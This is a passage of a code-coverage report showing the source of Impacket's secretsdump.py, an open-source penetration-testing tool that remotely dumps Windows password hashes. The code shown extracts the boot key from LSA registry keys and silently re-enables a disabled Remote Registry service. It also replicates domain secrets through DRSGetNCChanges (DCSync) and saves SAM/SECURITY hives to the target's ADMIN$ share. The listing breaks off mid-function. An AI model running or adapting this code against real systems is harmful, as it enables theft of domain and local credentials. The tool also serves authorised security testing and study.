Coverage for /root/GitHubProjects/impacket/impacket/examples/secretsdump.py : 0%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# Performs various techniques to dump hashes from the
11# remote machine without executing any agent there.
12# For SAM and LSA Secrets (including cached creds)
13# we try to read as much as we can from the registry
14# and then we save the hives in the target system
15# (%SYSTEMROOT%\\Temp dir) and read the rest of the
16# data from there.
17# For NTDS.dit we either:
18# a. Get the domain users list and get its hashes
19# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
20# call, replicating just the attributes we need.
21# b. Extract NTDS.dit via vssadmin executed with the
22# smbexec approach.
23# It's copied on the temp dir and parsed remotely.
24#
25# The script initiates the services required for its working
26# if they are not available (e.g. Remote Registry, even if it is
27# disabled). After the work is done, things are restored to the
28# original state.
29#
30# Author:
31# Alberto Solino (@agsolino)
32#
33# References:
34# Most of the work done by these guys. I just put all
35# the pieces together, plus some extra magic.
36# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
37# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
38# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
39# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
40# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
41# - https://code.google.com/p/creddump/
42# - https://lab.mediaservice.net/code/cachedump.rb
43# - https://insecurety.net/?p=768
44# - http://www.beginningtoseethelight.org/ntsecurity/index.htm
45# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
46# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
47#
48from __future__ import division
49from __future__ import print_function
50import codecs
51import json
52import hashlib
53import logging
54import ntpath
55import os
56import re
57import random
58import string
59import time
60from binascii import unhexlify, hexlify
61from collections import OrderedDict
62from datetime import datetime
63from struct import unpack, pack
64from six import b, PY2
66from impacket import LOG
67from impacket import system_errors
68from impacket import winregistry, ntlm
69from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
70from impacket.dcerpc.v5.dtypes import NULL
71from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
72from impacket.dcerpc.v5.dcom import wmi
73from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
74 VARIANT, VARENUM, DISPATCH_METHOD
75from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
76 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
77 IRemUnknown2, INTERFACE
78from impacket.ese import ESENT_DB
79from impacket.dpapi import DPAPI_SYSTEM
80from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
81from impacket.nt_errors import STATUS_MORE_ENTRIES
82from impacket.structure import Structure
83from impacket.structure import hexdump
84from impacket.uuid import string_to_bin
85from impacket.crypto import transformKey
86from impacket.krb5 import constants
87from impacket.krb5.crypto import string_to_key
88try:
89 from Cryptodome.Cipher import DES, ARC4, AES
90 from Cryptodome.Hash import HMAC, MD4, MD5
91except ImportError:
92 LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
93 LOG.critical("See https://pypi.org/project/pycryptodomex/")
96# Structures
97# Taken from https://insecurety.net/?p=768
98class SAM_KEY_DATA(Structure):
99 structure = (
100 ('Revision','<L=0'),
101 ('Length','<L=0'),
102 ('Salt','16s=b""'),
103 ('Key','16s=b""'),
104 ('CheckSum','16s=b""'),
105 ('Reserved','<Q=0'),
106 )
108# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/SecureAuthCorp/impacket/issues/326
109# Merci! Makes it way easier than parsing manually.
110class SAM_HASH(Structure):
111 structure = (
112 ('PekID','<H=0'),
113 ('Revision','<H=0'),
114 ('Hash','16s=b""'),
115 )
117class SAM_KEY_DATA_AES(Structure):
118 structure = (
119 ('Revision','<L=0'),
120 ('Length','<L=0'),
121 ('CheckSumLen','<L=0'),
122 ('DataLen','<L=0'),
123 ('Salt','16s=b""'),
124 ('Data',':'),
125 )
127class SAM_HASH_AES(Structure):
128 structure = (
129 ('PekID','<H=0'),
130 ('Revision','<H=0'),
131 ('DataOffset','<L=0'),
132 ('Salt','16s=b""'),
133 ('Hash',':'),
134 )
136class DOMAIN_ACCOUNT_F(Structure):
137 structure = (
138 ('Revision','<L=0'),
139 ('Unknown','<L=0'),
140 ('CreationTime','<Q=0'),
141 ('DomainModifiedCount','<Q=0'),
142 ('MaxPasswordAge','<Q=0'),
143 ('MinPasswordAge','<Q=0'),
144 ('ForceLogoff','<Q=0'),
145 ('LockoutDuration','<Q=0'),
146 ('LockoutObservationWindow','<Q=0'),
147 ('ModifiedCountAtLastPromotion','<Q=0'),
148 ('NextRid','<L=0'),
149 ('PasswordProperties','<L=0'),
150 ('MinPasswordLength','<H=0'),
151 ('PasswordHistoryLength','<H=0'),
152 ('LockoutThreshold','<H=0'),
153 ('Unknown2','<H=0'),
154 ('ServerState','<L=0'),
155 ('ServerRole','<H=0'),
156 ('UasCompatibilityRequired','<H=0'),
157 ('Unknown3','<Q=0'),
158 ('Key0',':'),
159# Commenting this, not needed and not present on Windows 2000 SP0
160# ('Key1',':', SAM_KEY_DATA),
161# ('Unknown4','<L=0'),
162 )
164# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
165class USER_ACCOUNT_V(Structure):
166 structure = (
167 ('Unknown','12s=b""'),
168 ('NameOffset','<L=0'),
169 ('NameLength','<L=0'),
170 ('Unknown2','<L=0'),
171 ('FullNameOffset','<L=0'),
172 ('FullNameLength','<L=0'),
173 ('Unknown3','<L=0'),
174 ('CommentOffset','<L=0'),
175 ('CommentLength','<L=0'),
176 ('Unknown3','<L=0'),
177 ('UserCommentOffset','<L=0'),
178 ('UserCommentLength','<L=0'),
179 ('Unknown4','<L=0'),
180 ('Unknown5','12s=b""'),
181 ('HomeDirOffset','<L=0'),
182 ('HomeDirLength','<L=0'),
183 ('Unknown6','<L=0'),
184 ('HomeDirConnectOffset','<L=0'),
185 ('HomeDirConnectLength','<L=0'),
186 ('Unknown7','<L=0'),
187 ('ScriptPathOffset','<L=0'),
188 ('ScriptPathLength','<L=0'),
189 ('Unknown8','<L=0'),
190 ('ProfilePathOffset','<L=0'),
191 ('ProfilePathLength','<L=0'),
192 ('Unknown9','<L=0'),
193 ('WorkstationsOffset','<L=0'),
194 ('WorkstationsLength','<L=0'),
195 ('Unknown10','<L=0'),
196 ('HoursAllowedOffset','<L=0'),
197 ('HoursAllowedLength','<L=0'),
198 ('Unknown11','<L=0'),
199 ('Unknown12','12s=b""'),
200 ('LMHashOffset','<L=0'),
201 ('LMHashLength','<L=0'),
202 ('Unknown13','<L=0'),
203 ('NTHashOffset','<L=0'),
204 ('NTHashLength','<L=0'),
205 ('Unknown14','<L=0'),
206 ('Unknown15','24s=b""'),
207 ('Data',':=b""'),
208 )
210class NL_RECORD(Structure):
211 structure = (
212 ('UserLength','<H=0'),
213 ('DomainNameLength','<H=0'),
214 ('EffectiveNameLength','<H=0'),
215 ('FullNameLength','<H=0'),
216# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265
217 ('LogonScriptName','<H=0'),
218 ('ProfilePathLength','<H=0'),
219 ('HomeDirectoryLength','<H=0'),
220 ('HomeDirectoryDriveLength','<H=0'),
221 ('UserId','<L=0'),
222 ('PrimaryGroupId','<L=0'),
223 ('GroupCount','<L=0'),
224 ('logonDomainNameLength','<H=0'),
225 ('unk0','<H=0'),
226 ('LastWrite','<Q=0'),
227 ('Revision','<L=0'),
228 ('SidCount','<L=0'),
229 ('Flags','<L=0'),
230 ('unk1','<L=0'),
231 ('LogonPackageLength','<L=0'),
232 ('DnsDomainNameLength','<H=0'),
233 ('UPN','<H=0'),
234 # ('MetaData','52s=""'),
235 # ('FullDomainLength','<H=0'),
236 # ('Length2','<H=0'),
237 ('IV','16s=b""'),
238 ('CH','16s=b""'),
239 ('EncryptedData',':'),
240 )
243class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
244 structure = (
245 ('Value','6s'),
246 )
248class SAMR_RPC_SID(Structure):
249 structure = (
250 ('Revision','<B'),
251 ('SubAuthorityCount','<B'),
252 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
253 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
254 ('SubAuthority',':'),
255 )
257 def formatCanonical(self):
258 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))
259 for i in range(self['SubAuthorityCount']):
260 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
261 return ans
263class LSA_SECRET_BLOB(Structure):
264 structure = (
265 ('Length','<L=0'),
266 ('Unknown','12s=b""'),
267 ('_Secret','_-Secret','self["Length"]'),
268 ('Secret',':'),
269 ('Remaining',':'),
270 )
272class LSA_SECRET(Structure):
273 structure = (
274 ('Version','<L=0'),
275 ('EncKeyID','16s=b""'),
276 ('EncAlgorithm','<L=0'),
277 ('Flags','<L=0'),
278 ('EncryptedData',':'),
279 )
281class LSA_SECRET_XP(Structure):
282 structure = (
283 ('Length','<L=0'),
284 ('Version','<L=0'),
285 ('_Secret','_-Secret', 'self["Length"]'),
286 ('Secret', ':'),
287 )
290# Helper to create files for exporting
291def openFile(fileName, mode='w+', openFileFunc=None):
292 if openFileFunc is not None:
293 return openFileFunc(fileName, mode)
294 else:
295 return codecs.open(fileName, mode, encoding='utf-8')
298# Classes
299class RemoteFile:
300 def __init__(self, smbConnection, fileName):
301 self.__smbConnection = smbConnection
302 self.__fileName = fileName
303 self.__tid = self.__smbConnection.connectTree('ADMIN$')
304 self.__fid = None
305 self.__currentOffset = 0
307 def open(self):
308 tries = 0
309 while True:
310 try:
311 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,
312 shareMode=FILE_SHARE_READ)
313 except Exception as e:
314 if str(e).find('STATUS_SHARING_VIOLATION') >=0:
315 if tries >= 3:
316 raise e
317 # Stuff didn't finish yet.. wait more
318 time.sleep(5)
319 tries += 1
320 pass
321 else:
322 raise e
323 else:
324 break
326 def seek(self, offset, whence):
327 # Implement whence, for now it's always from the beginning of the file
328 if whence == 0:
329 self.__currentOffset = offset
331 def read(self, bytesToRead):
332 if bytesToRead > 0:
333 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
334 self.__currentOffset += len(data)
335 return data
336 return b''
338 def close(self):
339 if self.__fid is not None:
340 self.__smbConnection.closeFile(self.__tid, self.__fid)
341 self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
342 self.__fid = None
344 def tell(self):
345 return self.__currentOffset
347 def __str__(self):
348 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
350class RemoteOperations:
351 def __init__(self, smbConnection, doKerberos, kdcHost=None):
352 self.__smbConnection = smbConnection
353 if self.__smbConnection is not None:
354 self.__smbConnection.setTimeout(5*60)
355 self.__serviceName = 'RemoteRegistry'
356 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
357 self.__rrp = None
358 self.__regHandle = None
360 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
361 self.__samr = None
362 self.__domainHandle = None
363 self.__domainName = None
364 self.__domainSid = None
366 self.__drsr = None
367 self.__hDrs = None
368 self.__NtdsDsaObjectGuid = None
369 self.__ppartialAttrSet = None
370 self.__prefixTable = []
371 self.__doKerberos = doKerberos
372 self.__kdcHost = kdcHost
374 self.__bootKey = b''
375 self.__disabled = False
376 self.__shouldStop = False
377 self.__started = False
379 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
380 self.__scmr = None
381 self.__tmpServiceName = None
382 self.__serviceDeleted = False
384 self.__batchFile = '%TEMP%\\execute.bat'
385 self.__shell = '%COMSPEC% /Q /c '
386 self.__output = '%SYSTEMROOT%\\Temp\\__output'
387 self.__answerTMP = b''
389 self.__execMethod = 'smbexec'
391 def setExecMethod(self, method):
392 self.__execMethod = method
394 def __connectSvcCtl(self):
395 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
396 rpc.set_smb_connection(self.__smbConnection)
397 self.__scmr = rpc.get_dce_rpc()
398 self.__scmr.connect()
399 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
401 def __connectWinReg(self):
402 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
403 rpc.set_smb_connection(self.__smbConnection)
404 self.__rrp = rpc.get_dce_rpc()
405 self.__rrp.connect()
406 self.__rrp.bind(rrp.MSRPC_UUID_RRP)
408 def connectSamr(self, domain):
409 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
410 rpc.set_smb_connection(self.__smbConnection)
411 self.__samr = rpc.get_dce_rpc()
412 self.__samr.connect()
413 self.__samr.bind(samr.MSRPC_UUID_SAMR)
414 resp = samr.hSamrConnect(self.__samr)
415 serverHandle = resp['ServerHandle']
417 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
418 self.__domainSid = resp['DomainId'].formatCanonical()
420 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
421 self.__domainHandle = resp['DomainHandle']
422 self.__domainName = domain
424 def __connectDrds(self):
425 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
426 protocol='ncacn_ip_tcp')
427 rpc = transport.DCERPCTransportFactory(stringBinding)
428 rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
429 rpc.setRemoteName(self.__smbConnection.getRemoteName())
430 if hasattr(rpc, 'set_credentials'):
431 # This method exists only for selected protocol sequences.
432 rpc.set_credentials(*(self.__smbConnection.getCredentials()))
433 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
434 self.__drsr = rpc.get_dce_rpc()
435 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
436 if self.__doKerberos:
437 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
438 self.__drsr.connect()
439 # Uncomment these lines if you want to play some tricks
440 # This will make the dump way slower tho.
441 #self.__drsr.bind(samr.MSRPC_UUID_SAMR)
442 #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
443 #self.__drsr.set_max_fragment_size(1)
444 # And Comment this line
445 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
447 if self.__domainName is None:
448 # Get domain name from credentials cached
449 self.__domainName = rpc.get_credentials()[2]
451 request = drsuapi.DRSBind()
452 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
453 drs = drsuapi.DRS_EXTENSIONS_INT()
454 drs['cb'] = len(drs) #- 4
455 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
456 drsuapi.DRS_EXT_STRONG_ENCRYPTION
457 drs['SiteObjGuid'] = drsuapi.NULLGUID
458 drs['Pid'] = 0
459 drs['dwReplEpoch'] = 0
460 drs['dwFlagsExt'] = 0
461 drs['ConfigObjGUID'] = drsuapi.NULLGUID
462 # I'm uber potential (c) Ben
463 drs['dwExtCaps'] = 0xffffffff
464 request['pextClient']['cb'] = len(drs)
465 request['pextClient']['rgb'] = list(drs.getData())
466 resp = self.__drsr.request(request)
467 if LOG.level == logging.DEBUG:
468 LOG.debug('DRSBind() answer')
469 resp.dump()
471 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
472 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
473 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
475 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
476 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
477 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
478 drsExtensionsInt.fromString(ppextServer)
480 if drsExtensionsInt['dwReplEpoch'] != 0:
481 # Different epoch, we have to call DRSBind again
482 if LOG.level == logging.DEBUG:
483 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
484 'dwReplEpoch'])
485 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
486 request['pextClient']['cb'] = len(drs)
487 request['pextClient']['rgb'] = list(drs.getData())
488 resp = self.__drsr.request(request)
490 self.__hDrs = resp['phDrs']
492 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
493 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
494 if LOG.level == logging.DEBUG:
495 LOG.debug('DRSDomainControllerInfo() answer')
496 resp.dump()
498 if resp['pmsgOut']['V2']['cItems'] > 0:
499 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
500 else:
501 LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
502 raise Exception('Fatal, aborting')
504 def getDrsr(self):
505 return self.__drsr
507 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
508 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
509 if self.__drsr is None:
510 self.__connectDrds()
512 LOG.debug('Calling DRSCrackNames for %s ' % name)
513 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
514 return resp
516 def DRSGetNCChanges(self, userEntry):
517 if self.__drsr is None:
518 self.__connectDrds()
520 LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
521 request = drsuapi.DRSGetNCChanges()
522 request['hDrs'] = self.__hDrs
523 request['dwInVersion'] = 8
525 request['pmsgIn']['tag'] = 8
526 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
527 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
529 dsName = drsuapi.DSNAME()
530 dsName['SidLen'] = 0
531 dsName['Guid'] = string_to_bin(userEntry[1:-1])
532 dsName['Sid'] = ''
533 dsName['NameLen'] = 0
534 dsName['StringName'] = ('\x00')
536 dsName['structLen'] = len(dsName.getData())
538 request['pmsgIn']['V8']['pNC'] = dsName
540 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
541 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
543 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
545 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
546 request['pmsgIn']['V8']['cMaxObjects'] = 1
547 request['pmsgIn']['V8']['cMaxBytes'] = 0
548 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
549 if self.__ppartialAttrSet is None:
550 self.__prefixTable = []
551 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
552 self.__ppartialAttrSet['dwVersion'] = 1
553 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
554 for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):
555 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
556 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
557 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
558 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
559 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
561 return self.__drsr.request(request)
563 def getDomainUsers(self, enumerationContext=0):
564 if self.__samr is None:
565 self.connectSamr(self.getMachineNameAndDomain()[1])
567 try:
568 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
569 userAccountControl=samr.USER_NORMAL_ACCOUNT | \
570 samr.USER_WORKSTATION_TRUST_ACCOUNT | \
571 samr.USER_SERVER_TRUST_ACCOUNT |\
572 samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
573 enumerationContext=enumerationContext)
574 except DCERPCException as e:
575 if str(e).find('STATUS_MORE_ENTRIES') < 0:
576 raise
577 resp = e.get_packet()
578 return resp
580 def getDomainSid(self):
581 if self.__domainSid is not None:
582 return self.__domainSid
584 if self.__samr is None:
585 self.connectSamr(self.getMachineNameAndDomain()[1])
587 return self.__domainSid
589 def getMachineKerberosSalt(self):
590 """
591 Returns Kerberos salt for the current connection if
592 we have the correct information
593 """
594 if self.__smbConnection.getServerName() == '':
595 # Todo: figure out an RPC call that gives us the domain FQDN
596 # instead of the NETBIOS name as NetrWkstaGetInfo does
597 return b''
598 else:
599 host = self.__smbConnection.getServerName()
600 domain = self.__smbConnection.getServerDNSDomainName()
601 salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))
602 return salt
604 def getMachineNameAndDomain(self):
605 if self.__smbConnection.getServerName() == '':
606 # No serverName.. this is either because we're doing Kerberos
607 # or not receiving that data during the login process.
608 # Let's try getting it through RPC
609 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
610 rpc.set_smb_connection(self.__smbConnection)
611 dce = rpc.get_dce_rpc()
612 dce.connect()
613 dce.bind(wkst.MSRPC_UUID_WKST)
614 resp = wkst.hNetrWkstaGetInfo(dce, 100)
615 dce.disconnect()
616 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
617 'wki100_langroup'][:-1]
618 else:
619 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
621 def getDefaultLoginAccount(self):
622 try:
623 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
624 keyHandle = ans['phkResult']
625 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
626 username = dataValue[:-1]
627 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
628 domain = dataValue[:-1]
629 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
630 if len(domain) > 0:
631 return '%s\\%s' % (domain,username)
632 else:
633 return username
634 except:
635 return None
637 def getServiceAccount(self, serviceName):
638 try:
639 # Open the service
640 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
641 serviceHandle = ans['lpServiceHandle']
642 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
643 account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
644 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
645 if account.startswith('.\\'):
646 account = account[2:]
647 return account
648 except Exception as e:
649 # Don't log if history service is not found, that should be normal
650 if serviceName.endswith("_history") is False:
651 LOG.error(e)
652 return None
654 def __checkServiceStatus(self):
655 # Open SC Manager
656 ans = scmr.hROpenSCManagerW(self.__scmr)
657 self.__scManagerHandle = ans['lpScHandle']
658 # Now let's open the service
659 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
660 self.__serviceHandle = ans['lpServiceHandle']
661 # Let's check its status
662 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
663 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
664 LOG.info('Service %s is in stopped state'% self.__serviceName)
665 self.__shouldStop = True
666 self.__started = False
667 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
668 LOG.debug('Service %s is already running'% self.__serviceName)
669 self.__shouldStop = False
670 self.__started = True
671 else:
672 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
674 # Let's check its configuration if service is stopped, maybe it's disabled :s
675 if self.__started is False:
676 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
677 if ans['lpServiceConfig']['dwStartType'] == 0x4:
678 LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
679 self.__disabled = True
680 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
681 LOG.info('Starting service %s' % self.__serviceName)
682 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
683 time.sleep(1)
685 def enableRegistry(self):
686 self.__connectSvcCtl()
687 self.__checkServiceStatus()
688 self.__connectWinReg()
690 def __restore(self):
691 # First of all stop the service if it was originally stopped
692 if self.__shouldStop is True:
693 LOG.info('Stopping service %s' % self.__serviceName)
694 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
695 if self.__disabled is True:
696 LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
697 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
698 if self.__serviceDeleted is False and self.__tmpServiceName is not None:
699 # Check again the service we created does not exist, starting a new connection
700 # Why?.. Hitting CTRL+C might break the whole existing DCE connection
701 try:
702 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
703 if hasattr(rpc, 'set_credentials'):
704 # This method exists only for selected protocol sequences.
705 rpc.set_credentials(*self.__smbConnection.getCredentials())
706 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
707 self.__scmr = rpc.get_dce_rpc()
708 self.__scmr.connect()
709 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
710 # Open SC Manager
711 ans = scmr.hROpenSCManagerW(self.__scmr)
712 self.__scManagerHandle = ans['lpScHandle']
713 # Now let's open the service
714 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
715 service = resp['lpServiceHandle']
716 scmr.hRDeleteService(self.__scmr, service)
717 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
718 scmr.hRCloseServiceHandle(self.__scmr, service)
719 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
720 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
721 rpc.disconnect()
722 except Exception as e:
723 # If service is stopped it'll trigger an exception
724 # If service does not exist it'll trigger an exception
725 # So. we just wanna be sure we delete it, no need to
726 # show this exception message
727 pass
729 def finish(self):
730 self.__restore()
731 if self.__rrp is not None:
732 self.__rrp.disconnect()
733 if self.__drsr is not None:
734 self.__drsr.disconnect()
735 if self.__samr is not None:
736 self.__samr.disconnect()
737 if self.__scmr is not None:
738 try:
739 self.__scmr.disconnect()
740 except Exception as e:
741 if str(e).find('STATUS_INVALID_PARAMETER') >=0:
742 pass
743 else:
744 raise
746 def getBootKey(self):
747 bootKey = b''
748 ans = rrp.hOpenLocalMachine(self.__rrp)
749 self.__regHandle = ans['phKey']
750 for key in ['JD','Skew1','GBG','Data']:
751 LOG.debug('Retrieving class info for %s'% key)
752 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
753 keyHandle = ans['phkResult']
754 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
755 bootKey = bootKey + b(ans['lpClassOut'][:-1])
756 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
758 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
760 bootKey = unhexlify(bootKey)
762 for i in range(len(bootKey)):
763 self.__bootKey += bootKey[transforms[i]:transforms[i]+1]
765 LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))
767 return self.__bootKey
769 def checkNoLMHashPolicy(self):
770 LOG.debug('Checking NoLMHash Policy')
771 ans = rrp.hOpenLocalMachine(self.__rrp)
772 self.__regHandle = ans['phKey']
774 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
775 keyHandle = ans['phkResult']
776 try:
777 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
778 except:
779 noLMHash = 0
781 if noLMHash != 1:
782 LOG.debug('LMHashes are being stored')
783 return False
785 LOG.debug('LMHashes are NOT being stored')
786 return True
788 def __retrieveHive(self, hiveName):
789 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
790 ans = rrp.hOpenLocalMachine(self.__rrp)
791 regHandle = ans['phKey']
792 try:
793 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
794 except:
795 raise Exception("Can't open %s hive" % hiveName)
796 keyHandle = ans['phkResult']
797 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
798 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
